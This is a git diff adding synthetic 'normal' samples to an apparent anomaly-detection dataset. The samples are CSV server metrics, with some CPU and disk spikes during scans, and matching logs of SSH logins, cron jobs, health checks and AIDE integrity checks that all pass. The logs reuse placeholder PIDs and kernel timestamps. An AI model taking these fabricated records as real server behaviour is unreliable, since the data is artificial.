+2025-08-19T10:00:00Z,15.417658029412447,39.31934867446246,19.99877162194433,1.2005140792126674,0.7535056311386321 +2025-08-19T10:00:05Z,14.001191766969686,40.839318017955016,36.28671811440091,1.5,1.1047982250541362 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0000000000000000000000000000000000000000..11083ab0f6cfab05809bb47d9d5585793a1bd894 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_25.log @@ -0,0 +1,20 @@ +Aug 19 10:00:10 server systemd[1]: Starting daily clean up activities... +Aug 19 10:00:35 server sshd[12301]: Accepted publickey for user from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Aug 19 10:01:05 server web-app[5432]: GET /api/v1/health status=200 OK +Aug 19 10:01:40 server CRON[12340]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:02:00 server CRON[12345]: (root) CMD (aide --check) +Aug 19 10:02:01 server aide[12346]: INFO: AIDE integrity check started. +Aug 19 10:02:01 server aide[12346]: INFO: AIDE database found at /var/lib/aide/aide.db.gz +Aug 19 10:02:15 server kubelet[2345]: INFO: Liveness probe for pod nginx-deployment succeeded. +Aug 19 10:02:45 server systemd[1]: Started Session 123 of user. +Aug 19 10:03:00 server web-app[5432]: GET /api/v1/metrics status=200 OK +Aug 19 10:03:30 server kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 19 10:04:00 server aide[12346]: INFO: Processing directory /etc... +Aug 19 10:04:15 server kubelet[2345]: INFO: Liveness probe for pod nginx-deployment succeeded. +Aug 19 10:04:45 server aide[12346]: INFO: Processing directory /usr/bin... +Aug 19 10:05:02 server aide[12346]: INFO: All files match the baseline. +Aug 19 10:05:03 server aide[12346]: INFO: AIDE integrity check finished. +Aug 19 10:05:03 server aide[12346]: INFO: Total files: 54321, Added: 0, Removed: 0, Changed: 0 +Aug 19 10:05:35 server web-app[5432]: GET /api/v1/health status=200 OK +Aug 19 10:06:10 server sshd[12399]: Disconnected from user 192.168.1.10 port 54322 +Aug 19 10:07:00 server systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_16/norm_16_26.csv b/norm_dataset/scenario_16/norm_16_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..5043232ef0aaf48fe1282c880ef070b79ecfd7a7 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_26.csv @@ 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+2025-08-01T10:07:20Z,11.342393498968912,46.65057940899692,29.659230595052964,1.204729311253006,1.2475499732637991 +2025-08-01T10:07:25Z,10.54798396185303,43.438778336283235,15.305308920210642,1.004490469149325,0.7507731440584993 diff --git a/norm_dataset/scenario_16/norm_16_26.log b/norm_dataset/scenario_16/norm_16_26.log new file mode 100644 index 0000000000000000000000000000000000000000..fc761c93e4dc8a8003cb899b0eb6cd86f6a40d8b --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_26.log @@ -0,0 +1,18 @@ +Aug 01 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 01 10:00:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:01:50 sshd[5432]: Accepted publickey for user root from 192.168.1.10 port 22 +Aug 01 10:02:35 systemd[1]: Started session 123 of user root. +Aug 01 10:03:00 cron[3102]: (root) CMD (aide --check) +Aug 01 10:03:01 aide[3103]: INFO: Starting AIDE integrity check... +Aug 01 10:03:05 aide[3103]: INFO: Scan started. +Aug 01 10:03:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 01 10:04:05 aide[3103]: DEBUG: Hashing /bin/ls... +Aug 01 10:04:20 aide[3103]: DEBUG: Hashing /etc/passwd... +Aug 01 10:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:05:10 aide[3103]: DEBUG: Hashing /var/log/syslog... +Aug 01 10:05:25 aide[3103]: INFO: All files match the baseline. +Aug 01 10:05:26 aide[3103]: INFO: Scan finished. +Aug 01 10:05:55 systemd[1]: Starting daily clean up activities... +Aug 01 10:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:06:55 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 01 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_16/norm_16_27.csv b/norm_dataset/scenario_16/norm_16_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..0b7d5510c0209267e484e158cc907a476ac11bca --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_27.csv @@ -0,0 +1,91 @@ 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Starting Daily AIDE check... +Aug 01 10:02:31 systemd[1]: Starting clean up activities... +Aug 01 10:02:32 aide[4525]: INFO: Starting AIDE integrity check... +Aug 01 10:02:33 aide[4525]: INFO: Scan started. +Aug 01 10:02:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:03:46 systemd[1]: Starting clean up activities... +Aug 01 10:03:58 aide[4525]: INFO: All files match the baseline. +Aug 01 10:03:59 aide[4525]: INFO: Scan finished. +Aug 01 10:04:00 aide[4525]: INFO: AIDE check finished. +Aug 01 10:04:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:04:12 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 01 10:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:05:03 systemd[1]: Starting clean up activities... +Aug 01 10:05:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:06:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:06:17 systemd[1]: Starting clean up activities... +Aug 01 10:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 01 10:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_28.csv b/norm_dataset/scenario_16/norm_16_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..c980ff25af789d6aec5740d2ac26b9a30074f78b --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,11.71,41.44,29.08,1.13,1.01 +2025-08-19T10:00:05Z,15.23,41.01,21.38,1.10,1.29 +2025-08-19T10:00:10Z,19.04,41.36,21.40,1.03,0.90 +2025-08-19T10:00:15Z,16.66,41.49,33.59,1.33,0.78 +2025-08-19T10:00:20Z,17.90,41.76,29.33,1.17,0.75 +2025-08-19T10:00:25Z,14.10,40.23,33.50,1.33,0.87 +2025-08-19T10:00:30Z,13.45,41.99,31.25,1.72,0.74 +2025-08-19T10:00:35Z,14.42,40.92,27.09,1.19,0.86 +2025-08-19T10:00:40Z,10.70,40.16,20.24,1.18,1.13 +2025-08-19T10:00:45Z,10.40,40.06,24.08,1.36,1.18 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+2025-08-19T10:07:20Z,18.17,41.48,23.85,1.22,1.02 +2025-08-19T10:07:25Z,13.11,40.61,24.26,1.43,1.34 diff --git a/norm_dataset/scenario_16/norm_16_28.log b/norm_dataset/scenario_16/norm_16_28.log new file mode 100644 index 0000000000000000000000000000000000000000..902625fba5a71ba42a571dd73556221e0f95e512 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_28.log @@ -0,0 +1,16 @@ +Aug 19 10:00:10 server sshd[3115]: Accepted publickey for user from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 19 10:01:35 server CRON[3180]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 19 10:02:30 server kernel: [12345.678] random: crng init done +Aug 19 10:02:59 server systemd[1]: Starting File Integrity Check... +Aug 19 10:03:00 server CRON[3201]: (root) CMD (/usr/bin/aide --check) +Aug 19 10:03:02 server aide[3202]: INFO: AIDE 0.17.3 integrity check started. +Aug 19 10:03:05 server aide[3202]: INFO: Database configuration: /var/lib/aide/aide.db +Aug 19 10:03:15 server aide[3202]: INFO: Starting scan of /etc... +Aug 19 10:04:15 server aide[3202]: INFO: Continuing scan of /usr/bin... +Aug 19 10:04:35 server systemd-logind[567]: Session 2 of user user logged out. +Aug 19 10:05:22 server aide[3202]: INFO: Continuing scan of /var/log... +Aug 19 10:05:27 server aide[3202]: INFO: Scan of all configured directories completed. +Aug 19 10:05:29 server aide[3202]: INFO: All files match the baseline. +Aug 19 10:05:30 server aide[3202]: INFO: AIDE integrity check finished. +Aug 19 10:05:31 server systemd[1]: Finished File Integrity Check. +Aug 19 10:06:30 server sshd[3250]: Connection closed by authenticating user user 192.168.1.10 port 54321 [preauth] diff --git a/norm_dataset/scenario_16/norm_16_29.csv b/norm_dataset/scenario_16/norm_16_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..3e03b6de48464689a8034d1c2680c45c429e095a --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_29.csv @@ -0,0 +1,91 @@ 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+2025-07-21T14:07:20Z,10.829112566408357,39.46922117440204,21.769378239831166,1.193907896431364,0.6857491984620742 +2025-07-21T14:07:25Z,10.118590374513307,35.495719336237556,32.76449781329498,0.8051408378291699,1.2666811062987913 diff --git a/norm_dataset/scenario_16/norm_16_29.log b/norm_dataset/scenario_16/norm_16_29.log new file mode 100644 index 0000000000000000000000000000000000000000..65fd45c29b362a80fdeb37147c42d1fcc8e63f54 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_29.log @@ -0,0 +1,19 @@ +Jul 21 14:00:25 systemd[1]: Starting daily clean up activities... +Jul 21 14:00:50 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 21 14:01:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 21 14:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 21 14:02:30 cron[6999]: INFO: Starting AIDE integrity check... +Jul 21 14:02:31 aide[7000]: INFO: Scan started. +Jul 21 14:02:40 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 21 14:02:55 sshd[7010]: Accepted publickey for user admin from 192.168.1.100 port 2222 ssh2: RSA SHA256:... +Jul 21 14:03:10 web-app[1234]: POST /api/v1/login status=200 OK +Jul 21 14:03:30 sshd[7010]: pam_unix(sshd:session): session opened for user admin by (uid=0) +Jul 21 14:03:45 aide[7000]: INFO: All files match the baseline. +Jul 21 14:03:47 aide[7000]: INFO: Scan finished. +Jul 21 14:04:10 web-app[1234]: GET /api/v1/user/99 status=200 OK +Jul 21 14:04:35 systemd[1]: Started Session 123 of user root. +Jul 21 14:05:15 CRON[7100]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Jul 21 14:05:50 web-app[1234]: GET /api/v1/status status=200 OK +Jul 21 14:06:15 systemd[1]: Starting Daily apt download activities... +Jul 21 14:06:40 kernel: [12789.123] usb 1-1: new high-speed USB device number 2 using xhci_hcd +Jul 21 14:07:05 web-app[1234]: GET /api/v1/data?id=xyz status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_3.csv b/norm_dataset/scenario_16/norm_16_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..12d4b8b4f6ad991ef6a8e2802ddf53b3ce3f96cd --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,13.98,31.54,30.99,0.91,0.88 +2025-07-15T14:00:05Z,14.99,32.23,30.3,1.5,1.19 +2025-07-15T14:00:10Z,19.78,36.42,30.35,0.78,0.71 +2025-07-15T14:00:15Z,15.6,30.61,30.74,0.79,0.68 +2025-07-15T14:00:20Z,15.5,44.05,37.03,1.16,0.43 +2025-07-15T14:00:25Z,12.43,35.68,30.19,1.13,0.73 +2025-07-15T14:00:30Z,14.94,34.99,29.24,1.57,0.71 +2025-07-15T14:00:35Z,17.93,49.55,40.67,1.01,0.86 +2025-07-15T14:00:40Z,11.82,45.28,31.43,1.08,0.56 +2025-07-15T14:00:45Z,9.58,43.67,20.6,1.62,0.95 +2025-07-15T14:00:50Z,14.65,43.2,35.66,0.93,0.95 +2025-07-15T14:00:55Z,14.52,43.89,26.41,0.92,0.6 +2025-07-15T14:01:00Z,16.92,35.81,27.28,1.24,0.48 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mode 100644 index 0000000000000000000000000000000000000000..7a2db21f532ba5616877efb3d20e812ff964b405 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_3.log @@ -0,0 +1,24 @@ +Jul 15 14:00:10 systemd[1]: Starting daily clean up activities... +Jul 15 14:00:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 14:00:35 kernel: [12345.678] TCP: TCP_SKB_CB(skb)->tcp_flags = 0 +Jul 15 14:00:40 sshd[8765]: Accepted publickey for user from 192.168.1.10 port 12345 +Jul 15 14:01:15 systemd[1]: Starting daily clean up activities... +Jul 15 14:01:30 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 14:01:40 kernel: [12345.678] TCP: TCP_SKB_CB(skb)->tcp_flags = 0 +Jul 15 14:02:05 sshd[8765]: Accepted publickey for user from 192.168.1.10 port 12345 +Jul 15 14:02:20 systemd[1]: Starting daily clean up activities... +Jul 15 14:02:25 (root) CMD (run-parts /etc/cron.daily) +Jul 15 14:02:30 INFO: Starting AIDE integrity check... +Jul 15 14:02:35 INFO: Scan started. +Jul 15 14:02:50 kernel: [12345.678] TCP: TCP_SKB_CB(skb)->tcp_flags = 0 +Jul 15 14:03:05 sshd[8765]: Accepted publickey for user from 192.168.1.10 port 12345 +Jul 15 14:03:30 systemd[1]: Starting daily clean up activities... +Jul 15 14:03:35 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 14:04:35 kernel: [12345.678] TCP: TCP_SKB_CB(skb)->tcp_flags = 0 +Jul 15 14:04:45 INFO: All files match the baseline. +Jul 15 14:04:55 INFO: Scan finished. +Jul 15 14:05:25 sshd[8765]: Accepted publickey for user from 192.168.1.10 port 12345 +Jul 15 14:07:00 systemd[1]: Starting daily clean up activities... +Jul 15 14:07:05 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 14:07:15 kernel: [12345.678] TCP: TCP_SKB_CB(skb)->tcp_flags = 0 +Jul 15 14:07:25 sshd[8765]: Accepted publickey for user from 192.168.1.10 port 12345 diff --git a/norm_dataset/scenario_16/norm_16_30.csv b/norm_dataset/scenario_16/norm_16_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..477323552d9da81c995000f9e964328d8a4670a3 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,12.31,36.03,30.07,0.89,0.83 +2025-08-19T10:00:05Z,18.71,37.78,30.71,1.68,0.91 +2025-08-19T10:00:10Z,15.63,38.18,22.61,0.93,1.01 +2025-08-19T10:00:15Z,13.49,37.13,20.12,1.68,1.08 +2025-08-19T10:00:20Z,19.93,37.95,26.88,0.94,1.6 +2025-08-19T10:00:25Z,16.07,44.18,31.45,0.95,0.75 +2025-08-19T10:00:30Z,12.72,41.42,26.17,1.39,0.88 +2025-08-19T10:00:35Z,18.05,38.55,33.21,1.47,1.22 +2025-08-19T10:00:40Z,13.56,35.45,30.27,1.49,0.8 +2025-08-19T10:00:45Z,13.96,42.73,28.33,1.74,1.6 +2025-08-19T10:00:50Z,10.24,37.96,22.37,1.31,0.94 +2025-08-19T10:00:55Z,16.67,36.58,21.28,1.75,0.91 +2025-08-19T10:01:00Z,19.88,40.18,25.33,1.37,1.63 +2025-08-19T10:01:05Z,11.57,39.42,34.04,1.79,0.98 +2025-08-19T10:01:10Z,11.16,44.12,33.1,1.14,1.25 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0000000000000000000000000000000000000000..b7c1ff659559c2bb37ade5726503b74da8ffb5e0 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_30.log @@ -0,0 +1,19 @@ +Aug 19 10:00:10 server-db systemd[1]: Starting daily clean up activities... +Aug 19 10:00:40 server-db sshd[3105]: Accepted publickey for user admin from 192.168.1.10 port 54322 ssh2: RSA SHA256:abc... +Aug 19 10:01:15 server-db kernel: [11345.678] TCP: request_sock_TCP: Dropping request +Aug 19 10:02:00 server-db CRON[4521]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 19 10:02:05 server-db systemd[1]: Starting AIDE File Integrity Check... +Aug 19 10:02:10 server-db aide[4523]: INFO: Starting AIDE integrity check... +Aug 19 10:02:10 server-db aide[4523]: INFO: Scan started. +Aug 19 10:02:30 server-db aide[4523]: DEBUG: Reading config file /etc/aide/aide.conf +Aug 19 10:02:55 server-db aide[4523]: DEBUG: Database /var/lib/aide/aide.db.gz opened for reading. +Aug 19 10:03:30 server-db systemd[1]: Starting session-c2.scope. +Aug 19 10:04:00 server-db aide[4523]: DEBUG: Scanned 15000 files... +Aug 19 10:04:35 server-db aide[4523]: DEBUG: Scanned 30000 files... +Aug 19 10:05:05 server-db aide[4523]: INFO: All files match the baseline. +Aug 19 10:05:10 server-db aide[4523]: INFO: Scan finished. +Aug 19 10:05:15 server-db systemd[1]: aide.service: Succeeded. +Aug 19 10:05:15 server-db systemd[1]: Finished AIDE File Integrity Check. +Aug 19 10:05:50 server-db kernel: [11565.123] nf_conntrack: nf_conntrack: table full, dropping packet +Aug 19 10:06:40 server-db sshd[3105]: pam_unix(sshd:session): session closed for user admin +Aug 19 10:07:05 server-db CRON[5100]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) \ No newline at end of file diff --git a/norm_dataset/scenario_16/norm_16_31.csv b/norm_dataset/scenario_16/norm_16_31.csv new file mode 100644 index 0000000000000000000000000000000000000000..6ecb2d8e5dcbf7eb2343ffede9f2e9cae0e093fd --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_31.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,12.31,41.88,22.47,1.11,0.61 +2025-07-02T11:00:05Z,15.04,44.05,19.96,0.65,0.84 +2025-07-02T11:00:10Z,11.03,43.46,18.69,0.54,0.69 +2025-07-02T11:00:15Z,10.94,39.05,28.24,0.76,0.9 +2025-07-02T11:00:20Z,11.35,38.41,27.41,1.12,1.27 +2025-07-02T11:00:25Z,18.71,37.25,29.21,0.71,1.35 +2025-07-02T11:00:30Z,15.35,42.41,20.76,1.05,0.77 +2025-07-02T11:00:35Z,12.78,35.94,29.58,1.27,0.94 +2025-07-02T11:00:40Z,18.77,37.82,21.19,1.5,1.14 +2025-07-02T11:00:45Z,12.1,37.0,16.89,0.59,1.03 +2025-07-02T11:00:50Z,15.63,40.58,19.82,0.89,0.98 +2025-07-02T11:00:55Z,11.3,41.96,21.02,1.37,0.99 +2025-07-02T11:01:00Z,13.18,43.94,29.59,1.16,0.55 +2025-07-02T11:01:05Z,11.34,41.94,25.88,1.44,1.29 +2025-07-02T11:01:10Z,13.09,42.94,25.35,0.7,0.95 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/dev/null +++ b/norm_dataset/scenario_16/norm_16_31.log @@ -0,0 +1,15 @@ +Jul 02 11:00:10 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:45 sshd[4521]: Accepted publickey for user from 192.168.1.10 port 22 +Jul 02 11:02:00 systemd[1]: Started Session 123 of user. +Jul 02 11:02:30 CRON[5432]: (root) CMD (aide --check) +Jul 02 11:02:30 aide[5433]: INFO: Starting AIDE integrity check... +Jul 02 11:02:31 aide[5433]: INFO: Scan started. +Jul 02 11:02:45 kernel: [12345.678] usb 1-1: new high-speed USB device number 2 using xhci_hcd +Jul 02 11:03:30 systemd[1]: Starting Network Manager Script Dispatcher Service... +Jul 02 11:04:05 ntpd[1234]: Soliciting pool server 192.0.2.1 +Jul 02 11:04:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:00 aide[5433]: INFO: All files match the baseline. +Jul 02 11:05:01 aide[5433]: INFO: Scan finished. +Jul 02 11:05:01 aide[5433]: INFO: AIDE check passed. +Jul 02 11:05:30 systemd[1]: Finished daily clean up activities. +Jul 02 11:06:00 sshd[4521]: Disconnected from user 192.168.1.10 port 22 diff --git a/norm_dataset/scenario_16/norm_16_32.csv b/norm_dataset/scenario_16/norm_16_32.csv new file mode 100644 index 0000000000000000000000000000000000000000..d5d8c49b2314830c2798602a17b551b53e2fadb6 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_32.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T14:00:00Z,10.53,41.87,24.98,1.14,1.11 +2025-08-19T14:00:05Z,19.71,39.39,32.74,0.95,1.23 +2025-08-19T14:00:10Z,15.38,40.58,30.16,0.85,1.13 +2025-08-19T14:00:15Z,10.91,41.33,24.83,1.11,0.82 +2025-08-19T14:00:20Z,11.37,40.68,34.49,0.92,1.27 +2025-08-19T14:00:25Z,12.51,35.12,35.38,1.17,0.99 +2025-08-19T14:00:30Z,16.46,42.44,21.78,0.98,0.89 +2025-08-19T14:00:35Z,19.54,35.11,39.08,1.0,1.15 +2025-08-19T14:00:40Z,10.52,41.04,31.99,0.82,0.84 +2025-08-19T14:00:45Z,13.35,35.7,35.31,1.15,0.99 +2025-08-19T14:00:50Z,16.25,39.86,24.79,0.98,0.92 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+2025-08-19T14:04:10Z,88.26,50.55,233.08,1.34,1.19 +2025-08-19T14:04:15Z,90.51,52.49,326.46,1.09,0.53 +2025-08-19T14:04:20Z,88.95,40.73,251.08,0.57,0.94 +2025-08-19T14:04:25Z,90.91,43.44,213.04,1.48,0.52 +2025-08-19T14:04:30Z,88.22,51.24,334.49,1.26,0.94 +2025-08-19T14:04:35Z,92.12,53.85,344.38,1.45,0.57 +2025-08-19T14:04:40Z,89.52,53.41,278.47,1.4,1.25 +2025-08-19T14:04:45Z,88.84,49.25,315.98,0.76,1.05 +2025-08-19T14:04:50Z,95.54,54.43,209.05,0.78,1.13 +2025-08-19T14:04:55Z,94.84,48.86,300.84,0.9,1.23 +2025-08-19T14:05:00Z,19.17,35.08,35.01,1.11,0.75 +2025-08-19T14:05:05Z,11.17,43.8,28.41,0.82,0.76 +2025-08-19T14:05:10Z,11.69,35.23,37.57,1.07,0.79 +2025-08-19T14:05:15Z,14.1,37.25,39.41,0.99,1.24 +2025-08-19T14:05:20Z,15.29,38.86,29.03,1.07,0.92 +2025-08-19T14:05:25Z,14.44,37.84,38.4,1.03,1.02 +2025-08-19T14:05:30Z,18.61,43.6,35.35,1.04,1.07 +2025-08-19T14:05:35Z,13.11,44.85,38.86,1.07,0.91 +2025-08-19T14:05:40Z,18.5,36.52,23.94,0.98,0.74 +2025-08-19T14:05:45Z,17.83,35.77,27.56,0.86,0.86 +2025-08-19T14:05:50Z,13.34,38.2,39.21,0.82,0.72 +2025-08-19T14:05:55Z,10.03,42.24,34.26,1.03,0.88 +2025-08-19T14:06:00Z,14.81,39.31,32.63,0.91,0.93 +2025-08-19T14:06:05Z,17.23,39.68,33.91,0.96,0.97 +2025-08-19T14:06:10Z,11.64,37.73,25.55,0.98,0.84 +2025-08-19T14:06:15Z,18.65,38.96,20.14,1.06,0.86 +2025-08-19T14:06:20Z,17.7,38.91,30.87,0.86,0.97 +2025-08-19T14:06:25Z,10.24,39.67,37.44,0.89,1.22 +2025-08-19T14:06:30Z,14.69,42.47,21.13,0.89,1.24 +2025-08-19T14:06:35Z,17.99,38.97,29.18,1.1,0.76 +2025-08-19T14:06:40Z,10.67,37.14,21.81,1.0,0.8 +2025-08-19T14:06:45Z,13.3,41.09,34.26,1.09,1.01 +2025-08-19T14:06:50Z,14.37,35.3,21.24,1.18,0.94 +2025-08-19T14:06:55Z,15.61,39.55,26.93,1.05,0.84 +2025-08-19T14:07:00Z,19.14,43.35,31.16,1.0,0.78 +2025-08-19T14:07:05Z,17.67,36.35,32.56,0.91,1.15 +2025-08-19T14:07:10Z,11.71,44.88,23.39,0.94,0.85 +2025-08-19T14:07:15Z,18.42,36.54,26.02,0.88,0.9 +2025-08-19T14:07:20Z,17.74,38.04,35.35,1.0,0.88 +2025-08-19T14:07:25Z,12.91,40.02,28.03,1.17,0.75 diff --git a/norm_dataset/scenario_16/norm_16_32.log b/norm_dataset/scenario_16/norm_16_32.log new file mode 100644 index 0000000000000000000000000000000000000000..2937235dcfdbd3e2ac35627ba326b88bc47bfd66 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_32.log @@ -0,0 +1,20 @@ +Aug 19 14:00:10 server-prod-1 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 19 14:00:45 server-prod-1 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 14:01:35 server-prod-1 sshd[5123]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 19 14:02:05 server-prod-1 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 19 14:02:25 server-prod-1 systemd[1]: Started Session 5 of user admin. +Aug 19 14:02:30 server-prod-1 CRON[6101]: (root) CMD (/usr/bin/aide --check) +Aug 19 14:02:32 server-prod-1 aide[6102]: INFO: Starting AIDE integrity check... +Aug 19 14:02:35 server-prod-1 aide[6102]: INFO: Scan started. +Aug 19 14:03:10 server-prod-1 kernel: [11234.567] TCP: new connection from 10.0.0.5:12345 to 10.0.0.1:80 +Aug 19 14:03:40 server-prod-1 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 19 14:04:15 server-prod-1 kubelet[2345]: INFO: Liveness probe for pod web-app-xyz succeeded. +Aug 19 14:04:40 server-prod-1 aide[6102]: DEBUG: Hashing /usr/lib/x86_64-linux-gnu/libcurl.so.4... +Aug 19 14:04:58 server-prod-1 aide[6102]: INFO: All files match the baseline. +Aug 19 14:05:00 server-prod-1 aide[6102]: INFO: Scan finished. +Aug 19 14:05:01 server-prod-1 CRON[6101]: INFO: AIDE check completed successfully. +Aug 19 14:05:30 server-prod-1 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 14:06:05 server-prod-1 sshd[5123]: pam_unix(sshd:session): session closed for user admin +Aug 19 14:06:30 server-prod-1 systemd[1]: Starting cleanup of temporary directories... +Aug 19 14:07:00 server-prod-1 web-app[3456]: POST /api/v1/data status=201 Created +Aug 19 14:07:25 server-prod-1 kubelet[2345]: INFO: Liveness probe for pod web-app-xyz succeeded. diff --git a/norm_dataset/scenario_16/norm_16_33.csv b/norm_dataset/scenario_16/norm_16_33.csv new file mode 100644 index 0000000000000000000000000000000000000000..b9d009cdedbccf07d5bf216600e93e746520b641 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_33.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,15.00,44.41,23.63,0.96,1.16 +2025-08-19T10:00:05Z,10.90,45.28,21.63,1.18,1.39 +2025-08-19T10:00:10Z,14.98,44.00,31.30,1.54,0.82 +2025-08-19T10:00:15Z,19.96,42.54,33.81,0.93,0.74 +2025-08-19T10:00:20Z,13.27,44.65,38.18,1.27,1.39 +2025-08-19T10:00:25Z,12.02,44.49,24.64,1.09,1.38 +2025-08-19T10:00:30Z,10.21,44.92,36.84,0.92,1.19 +2025-08-19T10:00:35Z,14.27,42.71,21.47,1.47,0.77 +2025-08-19T10:00:40Z,18.83,42.62,38.04,1.53,0.92 +2025-08-19T10:00:45Z,14.68,45.45,37.67,1.57,0.73 +2025-08-19T10:00:50Z,16.09,44.33,21.37,1.07,1.26 +2025-08-19T10:00:55Z,18.93,43.59,37.74,1.15,1.37 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+2025-08-19T10:02:35Z,96.89,43.99,281.42,1.27,0.95 +2025-08-19T10:02:40Z,91.93,42.27,289.87,1.10,0.61 +2025-08-19T10:02:45Z,88.83,47.89,293.31,1.03,1.13 +2025-08-19T10:02:50Z,86.43,43.19,337.68,0.98,1.10 +2025-08-19T10:02:55Z,95.15,45.94,303.75,1.18,1.17 +2025-08-19T10:03:00Z,92.84,46.37,317.07,0.93,0.78 +2025-08-19T10:03:05Z,97.06,40.51,296.94,1.43,0.68 +2025-08-19T10:03:10Z,95.27,42.58,330.06,0.86,0.63 +2025-08-19T10:03:15Z,87.56,42.18,271.17,1.11,0.62 +2025-08-19T10:03:20Z,96.30,47.05,280.02,1.16,0.98 +2025-08-19T10:03:25Z,94.98,45.14,266.15,0.90,0.65 +2025-08-19T10:03:30Z,86.47,44.38,272.91,0.99,1.01 +2025-08-19T10:03:35Z,86.16,44.41,257.71,0.91,0.87 +2025-08-19T10:03:40Z,88.13,47.03,344.08,0.85,1.09 +2025-08-19T10:03:45Z,88.96,45.52,348.74,1.34,0.85 +2025-08-19T10:03:50Z,88.05,41.19,278.97,1.46,1.21 +2025-08-19T10:03:55Z,97.90,45.19,256.09,1.28,1.09 +2025-08-19T10:04:00Z,96.12,40.11,283.94,1.02,0.99 +2025-08-19T10:04:05Z,87.48,42.34,275.43,1.22,1.08 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+2025-08-19T10:05:45Z,14.85,43.85,26.75,1.54,0.80 +2025-08-19T10:05:50Z,11.39,45.42,33.96,1.12,0.87 +2025-08-19T10:05:55Z,13.38,43.75,25.62,1.08,0.81 +2025-08-19T10:06:00Z,12.32,43.98,32.00,0.92,0.81 +2025-08-19T10:06:05Z,19.81,43.23,20.57,1.44,1.37 +2025-08-19T10:06:10Z,15.32,45.77,30.72,1.39,0.75 +2025-08-19T10:06:15Z,18.01,44.88,20.03,0.91,0.99 +2025-08-19T10:06:20Z,10.23,43.65,34.80,1.45,1.12 +2025-08-19T10:06:25Z,19.32,42.84,32.55,1.04,0.81 +2025-08-19T10:06:30Z,13.72,42.93,24.07,0.94,1.14 +2025-08-19T10:06:35Z,10.63,44.01,35.36,0.99,0.74 +2025-08-19T10:06:40Z,19.83,44.38,28.08,1.40,1.07 +2025-08-19T10:06:45Z,18.54,43.68,39.80,1.18,1.31 